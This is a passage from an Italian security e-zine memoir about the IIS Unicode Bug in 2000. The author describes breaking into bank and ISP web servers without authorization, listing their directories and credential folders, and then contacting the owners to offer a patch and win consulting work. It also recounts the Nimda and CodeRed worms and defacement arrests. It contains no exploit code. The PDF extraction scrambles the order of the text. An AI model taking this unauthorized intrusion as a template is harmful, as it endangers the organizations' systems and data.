Passarono alcuni secondi di ghiaccio, poi la voce
femminile, presa di sorpresa, si fece risentire
cercando di non nascondere affatto il suo classico
accento romanesco: “Credo de non avè capito
bbene. Po' spiegamme mejo?”
Ed io risposi senza mezzi termini: “Il vostro sito
www.bancadiroma.it risiede su un'istanza del web
server IIS che permette a chiunque di eseguire
comandi dall'esterno della vostra LAN o visualizzare i
file del sistema… E' una cosa grave!”
Dubitai che la ragazza avesse capito qualcosa. Poi
con mia profonda sorpresa mi disse in dialetto meno
accentuato: “Uhhh ma allora sei un hacker? Puoi
aspettare un momento?” – quindi fece partire una di
quelle orrende musichette, classiche di quando si
mette in attesa una persona. “Adesso” - pensai tra me
e me – “mi tracciano e mi arrestano!”. Decisi, come si
vede ogni tanto nei film alla TV, che se la ragazza non
fosse ritornata al telefono entro quindici secondi,
avrei abbassato la cornetta. In quel momento presi
coscienza che non era tanto folle il fatto che stessi
cercando di avvertire una banca del grave rischio che
correva, quanto quello che li stavo proprio chiamando
dall'utenza telefonica di casa intestata ai miei
genitori! Dopo qualche secondo la musichetta si
interruppe e la ragazza mi disse:
“Ti passo il servizio tecnico e racconti a loro di questa
cosa. Ok?”. Annuì ringraziando e mi passarono il
CED. Qui parlai con un tecnico che senza nemmeno
interessarsi del problemi mi chiese come si poteva
risolvere. Gli dettai per telefono il link web in cui
risiedeva la patch MS00-57 e ci salutammo dopo aver
ricevuto da lui un freddo ringraziamento e la
promessa che avrebbe provveduto a rimuovere “la
minaccia”. Riagganciai amaramente la cornetta con
Partono le telefonate
Quella che segue è la cronaca approssimativa
ricostruita a memoria di ciò che accadde tra il 12
ottobre del 2000 ed i giorni delle settimane
successive. Fino a quel momento non vi era server
IIS che testassi che non fosse vulnerabile all'Unicode
Bug ed i siti delle banche italiane non facevano certo
eccezione. Ne presi di mira una ventina,
approfittando degli URL segnalati in un numero di
Jack uscito proprio in quel periodo. Più della metà
erano vulnerabili all'Unicode Bug. Fra questi ne scelsi
tre: Banca di Roma, Webank (ovvero la Banca
Popolare di Milano) e Banca 121, esattamente
localizzate al centro, al nord ed al sud Italia. Interrogai
il database whois del NIC (www.nic.it) per risalire ai
numeri telefonici delle rispettive sedi e cominciai a
chiamare.
56
Racconti dall’ underground
la certezza che dopo qualche giorno la polizia postale
avrebbe bussato alla porta di casa.
LA VERA STORIA
DELL’ UNICODE BUG
fax:
Ho riscontrato una vulnerabilità nel vostro server
www.banca121.it che mi permette di avere accesso a
tutto l'hard disk della macchina (come sotto potete
ben vedere). Ho cercato di contattarvi
telefonicamente ma non ha mai risposto nessuno al
num [omissis], per questo vi invio un fax. Vogliate
cortesemente scaricare ed installare la patch dal
seguente URL:
La telefonata alla Banca Popolare di
Milano
Abbastanza spaventato da quello che avevo fatto,
ebbi la grande idea di non chiamare il successivo
contatto da casa mia…ma dall'ufficio di mio papà!
Questa volta mi rispose un uomo che a suo dire era il
diretto responsabile del server www.webank.it e non
credeva ad una sola parola di quello che gli stavo
dicendo. A questo punto cominciai a fargli i nomi delle
directory presenti nel volume C e dei file contenuti –
“Io da qui vedo che avete installato Oracle. Ma che ve
ne fate di WebSphere se avete già IIS? Nella
directory certificati avete poi in bella vista le chiavi
pubbliche e private dei certificati X509 che utilizzate
per cifrare le connessioni SSL”. E poi ancora - “Senta
ma che razza di cartella è WWW spero da
cancellare!!! presente nella root del volume C?”. Mi
accorsi che avevo assunto un tono forse troppo
altezzoso. Ero stato infastidito dal fatto che quella
persona non avesse creduto alle mie parole. Dopo
svariati secondi di buio totale (il tizio al telefono era
nel frattempo rimasto mestamente in silenzio) gli
spiegai come risolvere il problema. Anche lui si segnò
il link della patch e si congedò con un saluto ancora
più freddo di quello che mi era stato rivolto dal tecnico
della Banca di Roma. Abbassata la cornetta del
telefono capì che probabilmente la polizia postale
sarebbe presto andata a cercarmi anche nell'ufficio di
mio padre.
http://www.microsoft.com/technet/security/bullettin/
ms00-078.asp
In caso di contatto il mio numero personale è
[omissis]
Spero che risolviate subito il problema.
Distinti Saluti
[omissis]
Oltre a questa scritta rigorosamente a penna, nel fax
riportavo l'output di un “dir c:\” e del contenuto
d e l l a
d i r e c t o r y
“\Inetpub\banca121\password”. Passarono
esattamente dieci minuti netti e fui subito contattato
dal signor Arnesano che si presentò come il
responsabile delle infrastrutture informatiche di
Banca 121. Lui ringraziandomi cominciò a chiedermi
se lavoravo con partita iva (io ancora non avevo
nemmeno idea di che cosa fosse esattamente) ed
eventualmente di fargli un'offerta per la fornitura di
servizi di sicurezza che avrebbe rigirato e sottoposto
per una valutazione ai suoi superiori. Si mostrò molto
disponibile con me, ma io non seppi approfittare
adeguatamente di questa sua disponibilità ed alla
fine non riuscì a concludere alcun accordo.
La telefonata a Banca121
Il terzo contatto non avvenne né dal telefono di casa,
né da quello dell'ufficio di mio padre, bensì dal mio
cellulare. In realtà fui io questa volta a ricevere la
chiamata dal responsabile delle infrastrutture
informatiche di Banca121. In quei giorni infatti al
numero di telefono della sede bancaria registrato nel
database del NIC non rispondeva nessuno. Dopo
svariati tentativi decisi quindi di inviare il seguente
Tirando le somme…
Strano a dirsi, nessuno delle tre banche che contattai
sporse mai denuncia. A volte mi piace credere che il
buon senso da parte delle persone ascoltate al
telefono abbia prevalso e che le loro colpe per non
aver aggiornato i sistemi che gestivano fossero
57
Racconti dall’ underground
probabilmente più grandi delle mie che avevo cercato
di ottenere un lavoro in un modo così abietto. Ma alla
fine questo benedetto lavoro arrivò comunque. Non
era proprio quello che mi aspettavo ma fu quello che
diede il “la” alla mia indipendenza economica
definitiva. Era l'aprile del 2001. A gennaio avevo
svolto la visita militare ed ero risultato idoneo.
Attendevo quindi di essere chiamato per la leva nei
mesi successivi. Il lavoro dicevo…lo ottenni
ricalcando la metodologia già adottata sei mesi
prima. Questa volta però invece di puntare alle
banche, puntai agli Internet Service Provider della
mia città. Da ottobre erano ancora in pochi quelli che
avevano installato la patch contro l'IIS Unicode Bug
ed i provider locali probabilmente erano gli ultimi della
classifica. Presi contatti con alcuni di questi
intenzionato ad illustrare il problema ma a non fornire
alcun accenno sul come risolverlo se non fossi
riuscito a concretizzare queste nuove occasioni. Al
telefono mi risposero sempre le ragazze che
svolgevano i servizi di segreteria. Spiegai loro alla
bella e meglio la questione e dissi di farmi richiamare
dai responsabili aziendali. Nessuno lo fece. Alla fine,
qualche giorno dopo, mi decisi a prendere l'auto e
recarmi di persona nel provider più vicino a casa mia.
Quando mi presentai davanti alla loro porta e spiegai
il problema mi fecero parlare con il responsabile
tecnico, l'ingegner Blanco. Dopo una breve
spiegazione mi sembrarono tutti quanti più titubanti di
prima perciò chiesi loro di darmi un computer. Mi
sedetti in una delle postazioni dell'ufficio e gli
dimostrai quello che potevo fare, mostrandogli come
potessi accedere in modo semplice ai loro server. Le
persone che avevo di fronte erano giovani come me,
al massimo di tre/otto anni più grandi e si mostrarono
entusiasti delle capacità che avevo espresso. In
realtà parlavo con gente che fino a quel momento
correlava la parola sicurezza alla protezione civile,
pertanto i loro complimenti erano un po' come quelli di
un bambino che guarda per la prima volta un gioco di
prestigio, ma ne rimasi ugualmente felice. L'unico un
po' più perplesso e rimasto sulle difensive rispetto agli
altri era proprio l'ingegner Blanco. Infondo era lui che
avrebbe dovuto svolgere il ruolo di sistemista in
azienda, ma mi confessarono che lo scarso giro
LA VERA STORIA
DELL’ UNICODE BUG
d'affari come ISP li aveva visti costretti a cercare
fortuna verso altri lidi e svolgere quindi consulenze
extra presso i pochi clienti che avevano. Questo li
portava a trascurare la sicurezza delle loro
infrastrutture informatiche. Dopo tali dichiarazioni
pensai tra me e me di essere capitato nell'azienda più
squattrinata della mia città. Alla fine, dopo una cena a
base di hamburger e patatine (il meglio che un
diciannovenne in quel momento potesse desiderare),
il responsabile commerciale mi offrì un contratto a
progetto di un milione di lire. L'obiettivo era quello di
creare una intranet (fino a quel momento ogni client
era dotato di un indirizzo IP pubblico raggiungibile
direttamente da Internet), una zona demilitarizzata
per i server, installare un firewall e configurare i nuovi
servizi DNS e di posta, possibilmente più sicuri dei
precedenti che nel frattempo erano diventati il covo di
hacker maltesi. Terminai il progetto in un mese
scarso. Successivamente, a seguito di una nuova
esperienza lavorativa romana durata poco più di 12
mesi (dal settembre 2001 all'ottobre 2002),
quell'azienda sarebbe diventata la mia “fucina di
formazione professionale” (in pratica laboratori e
sistemi gratis per svolgere test di ogni tipo) per ben tre
anni. Questo prima di realizzare che i consulenti con
partita iva guadagnavano molto di più degli
apprendisti a tempo determinato, la tipologia di
contratto che fino a quel momento loro erano stati
capaci di offrirmi.
Per la cronaca, non ho mai svolto il servizio di leva,
ricevendo il congedo nel tardo 2003. Non chiedetemi
come ho fatto però…
I worm e gli arresti
In termini di diffusione l'Unicode Bug può essere
considerata senza alcun dubbio la vulnerabilità più
eclatante nella storia informatica dei web server,
forse quella che addirittura, sfruttata da worm come
Nimda e CodeRed (che nei tre/quattro anni
successivi infettarono centinaia di migliaia di PC) è
stata, in termini di tempo, la più duratura di qualunque
altra sino ad oggi mai esistita. Il 24 settembre 2001,
quasi un anno dopo dalla scoperta della falla, il
58
Racconti dall’ underground
portale di informazione e notizie online “Punto
Informatico” riportò le dichiarazioni di alcuni esperti
che definirono Nimda come il virus “a più veloce
diffusione mai apparso su Internet”. Erano passati 11
mesi e solo poche decine di migliaia di server web
avevano installato la patch del sito Microsoft
disponibile sin dall'agosto del 2000.
LA VERA STORIA
DELL’ UNICODE BUG
Ma che cosa avevano fatto esattamente di così
eclatante questi ragazzi? Avevano semplicemente
bucato alcune decine di web server con una
vulnerabilità ancora molto in voga ai tempi (appunto
l'Unicode Bug), già nota da più di un anno e per giunta
non scoperta da loro. Tra questi web server ve ne
erano alcuni della FAO, del CNR, del Ministero della
Salute. Uno era addirittura della NASA. I giornali
tuonarono per questo scandalo ed il Maurizio
Costanzo Show fece seguito. Tutti si dimenticarono di
dire però che quel serverino dell'agenzia spaziale
americana, mezzo isolato, era stato dimenticato dai
sistemisti, il che faceva capire quale importanza
ricoprisse realmente per la National Aeronautics and
Space Administration. Si trattava in realtà di un server
di quart'ordine, prossimo alla dismissione. Insomma
una colossale balla, gonfiata ad arte allo stesso modo
di come nei mesi precedenti si era narrato nei giornali
italiani di fantomatici hacker sardi che rubavano dati
dai computer delle loro vittime sfruttando programmi
“professionali” come Netbus o BackOrifice.
Quando fu chiaro che l'Unicode Bug rappresentava
una grossissima minaccia, appunto solo dopo
l'avvento di famelici worm, cominciarono anche a
scattare le prime manette. Alcuni minorenni che
componevano il fantomatico gruppo hacker Hi Tech
Hate Crew dedito principalmente al defacement,
ovvero alla modifica al fine di scherno della pagina
principale dei siti web di mezzo mondo, si resero
protagonisti di alcune azioni incaute, sfruttando le
informazioni divulgate pubblicamente da Rain Forest
Puppy il 17 ottobre del 2000. Sono sempre stato
contrario alla full-disclosure dei dettagli dell'Unicode
Bug (e vedendo gli effetti prodotti con il senno del poi
continuo ad esserlo tutt'oggi) ma ripensandoci bene
probabilmente se non l'avesse fatto lui, qualcun altro
avrebbe divulgato poco dopo la notizia al suo posto. Il
grosso evento si era infatti già verificato con quel
primo messaggio anonimo nel forum di Packetstorm.
Il resto sarebbe comunque venuto da sé.
Penso che quello che mi ha differenziato rispetto ai
ragazzi dell'Hi Tech Hate Crew è stato probabilmente
il rifiutare lo strumento del defacement come mezzo
per mettermi in luce. E se oggi sono qui a poter
raccontare di non aver mai ricevuto una visita della
guardia di finanza, è forse perché mi rendevo conto
che con certe azioni potevo magari danneggiare
qualche povero cristo che portava a casa la pagnotta
facendo il sistemista Windows, mentre
probabilmente fino a poco tempo prima faceva il
programmatore RPG[4] in un'azienda fallita.
I ragazzi italiani arrestati dell'Hi Tech Hate Crew
divennero quasi immediatamente celebri, ottenendo
gran parte della loro fama grazie alle balle sparate dai
media e giungendo addirittura ad essere “lodati” al
Maurizio Costanzo Show che dedicò alla loro storia
più di una puntata. Il tenente colonnello della guardia
di Finanza Umberto Rapetto, l'attuale responsabile
del Gruppo Anticrimine Tecnologico, giunse a
dichiarare che si trattava “di persone con un profilo
tecnico avanzato ed assolutamente al di sopra della
norma” pur la giovanissima età, che la loro cattura era
stata propiziata solo grazie alle competenze dei
professionisti che componevano il suo gruppo e che
si stava lavorando a stretto giro per mettere le
profonde conoscenze informatiche della crew a
disposizione delle forze dell'ordine.
Tutto questo accadeva appena un anno e mezzo
prima di conoscere quella splendida ragazza che poi
sarebbe diventata mia moglie.
[4] Linguaggio di programmazione nativo della piattaforma IBM
oggi conosciuta come iSeries o System i ed in passato meglio
nota come AS/400.
59
S
ecurity System rispetta le idee di tutte le correnti di pensiero che muovono il settore
dell'Information Technology, sia quella open source che quella contrapposta del
closed source e le relative che da ciascuna di esse derivano. Gli articoli della rivista
non sono firmati dagli autori, in quanto la responsabilità sui contenuti viene egualmente
condivisa da tutti i membri attraverso attività incrociate di revisione, pertanto sono da
considerarsi frutto dell'intero staff che compone la redazione.
La rivista è a pagamento, comunque ciascun numero dopo 120 giorni dalla pubblicazione
viene reso gratuitamente disponibile a tutti gli utenti.
Trattandosi di una rivista elettronica, non possiamo in alcun modo evitare che copie di
Security System non regolarmente acquistate dal sito possano circolare tra gli utenti della
rete. E' bene però considerare che la rivista è frutto dello sforzo di persone che intendono
vedere il loro lavoro riconosciuto e gratificato sotto il profilo economico e che non intendono
sostenere e far crescere un progetto che non vede rispettati questi principi. Se pertanto hai
tra la mani un numero di Security System ottenuto attraverso P2P, ftp, siti che non siano
questo o che ti è stato inviato da un amico, ma volessi ugualmente premiarci ed incoraggiarci
per il lavoro svolto, acquistalo regolarmente come indicato nel sito http://www.segfault.it. o
fai una donazione libera. Ciò ci permetterà di dedicarci a tempo pieno nel progetto,
espandendolo e migliorandolo nel tempo.
Ti ricordiamo inoltre che per qualsiasi suggerimento in merito alla grafica, ai contenuti o altro
inerente la rivista puoi contattarci all'indirizzo [email protected]. Puoi anche inviarci
consigli sugli argomenti che vorresti vedere pubblicati nel prossimo numero. Vi aspettiamo
numerosi!
Security System Staff